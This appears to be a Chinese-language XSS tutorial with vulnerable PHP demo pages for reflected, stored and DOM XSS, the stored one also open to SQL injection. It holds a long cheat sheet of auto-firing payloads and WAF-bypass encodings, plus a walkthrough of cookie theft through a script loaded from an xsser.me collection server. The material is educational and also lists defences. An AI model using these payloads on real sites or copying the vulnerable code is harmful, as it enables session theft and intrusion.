#2 XSS攻击基础
一、跨站脚本攻击:
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
二、常用的XSS攻击手段和目的:
1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
三、分类一版
背景:早期,确定了两种主要的XSS类型:“ 存储XSS”和“反射XSS”。2005年,Amit Klein定义了第三种XSS,他创造了DOM Based XSS
http://www.webappsec.org/projects/articles/071105.shtml
* 反射型 (又称非持久性或II型)
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
* 存储型 (又名持久性或I型)
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
* DOM型 (AKA类型type-0)
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
分类二版:
随着时间推移,大多数人将存储,反射,DOM视为三种不同类型的XSS,但实际上,它们是重叠的。其实可以同时具有基于存储和反映的DOM的XSS。也可以同时存储和反映基于非DOM的XSS,这可能会让人搞混,因此为了帮助弄清这些,从2012年中开始,研究社区提出并开始使用两个新术语来帮助组织可能发生的XSS类型:服务器XSS、客户端XSS。
服务器XSS
当服务器生成的HTML响应中包含不受信任的用户提供的数据时,就会发生服务器XSS。此数据的来源可能来自请求,也可能来自存储的位置。这样,您可以同时拥有Reflected Server XSS和Stored Server XSS。在这种情况下,整个漏洞都在服务器端代码中,浏览器只是在呈现响应并执行嵌入其中的任何有效脚本。
客户端XSS
当使用不受信任的用户提供的数据通过不安全的JavaScript调用更新DOM时,就会发生客户端XSS。如果可以使用JavaScript调用将有效的JavaScript引入DOM,则它是不安全的。此数据的来源可能来自DOM,也可能已由服务器发送(通过AJAX调用或页面加载)。数据的最终来源可能来自请求,也可能来自客户端或服务器上的存储位置。这样,您可以同时拥有Reflected Client XSS和Stored Client XSS。
有了这些新的定义,基于DOM的XSS的定义就不会改变。基于DOM的XSS只是客户端XSS的子集,其中数据源位于DOM中的某个位置,而不是来自服务器。鉴于服务器XSS和客户端XSS都可以存储或反射,这种新的术语形成了一个简单,干净的2 x 2矩阵,其中一个轴是“客户端和服务器XSS”,而另一个轴是“存储和反射XSS”,如下所示:
四、XSS基本展示:
1.反射型xss
新建一个xss.php文件并加入以下代码:
<form action="" method="get">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为xss的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果xss中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素。部署好这个文件,访问http://localhost/xss.php,直接输入一个js代码,比如<script>alert(‘hack’)</script>,
我们输入的HTML代码被执行了。用Firebug查看,我们输出的内容直接插入到了页面中,解释为<script>标签。
大致反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器。
2.存储型
把xss.php内容改为(同时数据库中需要配置相应的表):
<form action="" method="post">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST['xss'];
mysql_connect("localhost","root","123");
mysql_select_db("xss");
if($xss!==null){
$sql="insert into temp(id,payload) values('1','$xss')";
$result=mysql_query($sql);
echo $result;
}
用户输入的内容还是没有过滤,但是不直接显示在页面中,而是插入到了数据库。
新建show.php,内容为:
mysql_connect("localhost","root","root");
mysql_select_db("xss");
$sql="select payload from temp where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['payload'];
}
该代码从数据库读取了之前插入的内容,并将其显示出来。先创建一个数据库xss,创建temp表
然后访问xss.php,像之前一样输入 HTML 代码
点击test,点击之后却发现没有任何动静,但事实上,我们的数据已经插入到了数据库中。
当我们访问show.php查询这个值的时候,代码就会被执行。
大致存储型 XSS 的执行位置通常不同于输入位置。我们可以看出,存储行 XSS 的数据流向是:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
3.DOM型
把xss.php内容改为:
<?php
error_reporting(0); //禁用错误报告
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script
大致DOM-XSS 的数据流向是:URL–>浏览器
总结: 在易用上,存储型XSS > DOM – XSS > 反射型 XSS。
五、无任何过滤情况下一些常见标签
PS:下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发,还有我测试的浏览器是火狐,Chrome,IE11.0,其它的浏览器没有去测试,有兴趣可以测试一下
<scirpt>
<scirpt>alert(“xss”);</script>
<img>
<img src=1 onerror=alert(“xss”);>
<input>
<input onfocus=”alert(‘xss’);”>
竞争焦点,从而触发onblur事件
<input onblur=alert(“xss”) autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus=”alert(‘xss’);” autofocus>
<details>
<details ontoggle=”alert(‘xss’);”>
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle=”alert(‘xss’);”>
<svg>
<svg onload=alert(“xss”);>
<select>
<select onfocus=alert(1)></select>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert(“xss”);></iframe>
<video>
<video><source onerror=”alert(1)”>
<audio>
<audio src=x onerror=alert(“xss”);>
<body>
<body/onload=alert(“xss”);>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body
onscroll=alert(“xss”);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert(“xss”); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee>
<marquee onstart=alert(“xss”)></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert(“xss”)>//仅限于IE
利用link远程包含js文件
PS:在无CSP的情况下才可以
<link rel=import href=”http://127.0.0.1/1.js”>
javascript伪协议
<a>标签
<a href=”javascript:alert(`xss`);”>xss</a>
<iframe>标签
<iframe src=javascript:alert(‘xss’);></iframe>
<img>标签
<img src=javascript:alert(‘xss’)>//IE7以下
<form>标签
<form action=”Javascript:alert(1)”><input type=submit>
其它
expression属性
<img style=”xss:expression(alert(‘xss”))”> // IE7以下
<div style=”color:rgb(”�x:expression(alert(1))”></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
有过滤的情况下一些绕过基础:
过滤空格
用/代替空格
<img/src=”x”/onerror=alert(“xss”);>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert(“xss”);>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert(“xss”);>
字符拼接
利用eval
<img src=”x” onerror=”a=`aler`;b=`t`;c='(`xss`);’;eval(a+b+c)”>
利用top
<script>top[“al”+”ert”](`xss`);</script>
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
1.<<script>alert(“xss”);//<</script>
2.<title><img src=</title>><img src=x onerror=”alert(`xss`);”> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a=”\\”;alert(“xss”);//”;</SCRIPT>
编码绕过
Unicode编码绕过
<img src=”x” onerror=”alert(“xss”);”>
<img src=”x” onerror=”eval(‘\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b’)”>
url编码绕过
<img src=”x” onerror=”eval(unescape(‘%61%6c%65%72%74%28%22%78%73%73%22%29%3b’))”>
<iframe src=”data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E”></iframe>
Ascii码绕过
<img src=”x” onerror=”eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))”>
hex绕过
<img src=x onerror=eval(‘\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29’)>
八进制
<img src=x onerror=alert(‘\170\163\163’)>
base64绕过
<img src=”x” onerror=”eval(atob(‘ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw==’))”>
<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=”x” onerror=alert(`xss`);>
2.使用编码绕过,具体看上面我列举的例子,我就不多赘述了
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload=”window.onerror=eval;throw’=alert\x281\x29′;”>
过滤url地址
使用url编码
<img src=”x” onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
1.十进制IP
<img src=”x” onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src=”x” onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src=”x” onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src=”x” onerror=document.location=`//www.baidu.com`>
5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
windows
Linux
6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src=”x” onerror=”document.location=`http://www。baidu。com`”>//会自动跳转到百度
六、XSS基础利用
通过 XSS 来获得用户 Cookie 或其他有用信息,利用平台负责接收并保存这些信息。XSS利用平台有很多种如XSS Shell, BeEF, Anehta, CAL9000。此类攻击比较适合钓鱼与社工相结合,毕竟单点的攻击效果有限,一次高阶的渗透都是综合利用的过程。这里简单演示xss平台获取cookie过程,使用了自建xsser.me平台
进入搭建好的xsser.me平台首页输入用户名与密码进行登录
成功之后会显示主界面,左边是模块列表,右边是项目列表:
我们点击左边“我的项目”旁边的“创建”按钮:
名称和描述可以随便取,不影响使用。输入时候点击“下一步”按钮。之后会出现“配置代码”界面:
点击下一步、就会看到这个项目的一些信息
点击完成。然后我们会在首页看到我们的新项目,点击这个项目:
之后点击项目,进入一个页面再点击右上方的查看代码
就可以看到使用方法:
下面就演示下怎么利用
把<script src=”…”></script>注入到反射型 XSS 的演示页面中。
上面的src=”xxxx”是我另外创建的一个项目的地址,把你创建好的那个项目,提供的那个地址放进去,就可以了,虽然这个页面没反应,但是xsser.me那个项目就收到消息了。
BEEF:
Kali系统自带也可独立安装,beef是一个js利用框架可联动metasploit进行攻击利用详细安装使用可查阅:https://www.cnblogs.com/ssooking/p/6036494.html
七、知识补充,常用跨域方法总结
涉及到浏览器跨域方面的知识,其实在实战中这些细节点知识都需要扎实掌握,这样才能在真实环境与渗透中解决处理突发情况通信问题等。为什么要跨域?因为浏览器的一种安全机制——同源策略的限制,导致不能直接获取不同源的资源,所以要跨域。同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。限制之一是不能通过ajax的方法去请求不同源中的文档。第二个限制是浏览器中不同域的框架(iframe)之间是不能进行js的交互操作的。那么什么才叫“同源”呢?
协议相同、域名相同、端口号相
常用几种跨域方法:
1. jsonp 跨域
原理:利用了<script>标签不受浏览器同源限制的影响,因为借用<script>发起的请求,所以会把请求到的内容当作js代码来解析执行。缺点:只能发送get请求
document.domain跨域(子域名不同的框架之间)
开头我们说到不同源的框架之间是不能进行js交互操作的,其实是可以获取window对象,但不能获取window的属性。原理:document.domain的值是可以设置的,但仅限于设置为自身或是更高一级的父级域名(主域名相同)。那么主域名相同,子域名不同的框架之间跨域获取数据的思路就来了,我们把它们的document.domain都设置成主域名不就完事了?
location.hash跨域(不同源的框架之间)
原理:hash字段(经常用于锚点定位)不属于http协议的部分,请求不会携带hash信息,所以改变不会重新请求资源(但是会产生新的浏览器历史记录,许多前端路由也是借用这个原理实现的)父窗口可以对iframe进行URL读写,iframe也可以读写父窗口的URL(不同源的话,IE、Chrome不允许修改parent.location.hash的值,但我们仍有处理方式)思路:如果是父窗口向子窗口跨域传递数据,直接修改子窗口url的hash就可以了,比较简单这里就不贴代码了。子窗口向父亲窗口跨域传递数据就需要多加一个代理窗口(因为IE,Chrome),这个代理窗口和父亲窗口同源就可以了,在这个代理窗口改变父亲窗口的hash,父亲窗口监听hashchange就可以了。
window.name跨域(不同源框架间)
原理:window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。利用一个窗口的生命周期内,载入不同页面window.name不变的特性。
postMessage跨域
了解一下postMessage
otherWindow.postMessage(message, targetOrigin);
otherWindow:指目标窗口,也就是给哪个window发消息,是 window.frames 属性的成员或者由 window.open 方法创建的窗口
message: 是要发送的消息,类型为 String、Object (IE8、9 不支持)
targetOrigin: 是限定消息接收范围,不限制请使用 *
postMessage是HTML5新特性,跨域简直太方便了,就是兼容性要注意一下。
WebSocket跨域
WebSocket 是一种在客户端与服务器之间保持TCP长连接的网络协议,这样它们就可以随时进行信息交换(双工通讯)。虽然任何客户端或服务器上的应用都可以使用WebSocket,但原则上还是指浏览器与服务器之间使用。通过WebSocket,服务器可以直接向客户端发送数据,而无须客户端周期性的请求服务器,以动态更新数据内容。WebSocket 非常强大,这方面以后有时间会详细研究学习。
CORS(cross origin resource sharing 跨域资源共享)
CORS(Cross-Origin Resource Sharing)跨域资源共享,定义了必须在访问跨域资源时,浏览器与服务器应该如何沟通。CORS背后的基本思想就是使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功还是失败。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。
跨域方法参考:
https://segmentfault.com/a/1190000015384607
https://xz.aliyun.com/t/4470#toc-11
如何防止xss
过滤一些危险字符,以及转义& < > ” ‘ /等危险字符HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。设置CSP(Content Security Policy)输入内容长度限制
总结:
Xss本身的技术原理还是非常好理解的,一种html的注入方式,核心点是js等脚本的熟悉程度。Xss的利用更多的是在钓鱼、信息获取,组合拳权限控制,理论上JS等脚本在浏览器范围内权限功能能做的事情JS恶意触发都能干,盗取cookie等是基本可见利用方式。联动攻击框架平台的后渗透等才是实战攻防中的亮点。还是那句话高阶攻击都是综合利用包括思路。和sql注入类似显而易见的XSS漏洞也是越来越少相对来说,后期也是在绕过与利用中对抗。或许国内各大src平台等对于xss的认真程度都带有利益色彩,几个积分喂狗,当然我本身对xss不是特别感冒,只是觉得国内对待技术的态度都太浮躁急功近利的猴子。好吧,这就是所谓的安全圈子。打住,不去非议这些地球文明人性的东西了,技术至上,纯粹。
最后附上一个 xss闯关游戏有兴趣的可以玩玩
http://test.ctf8.com/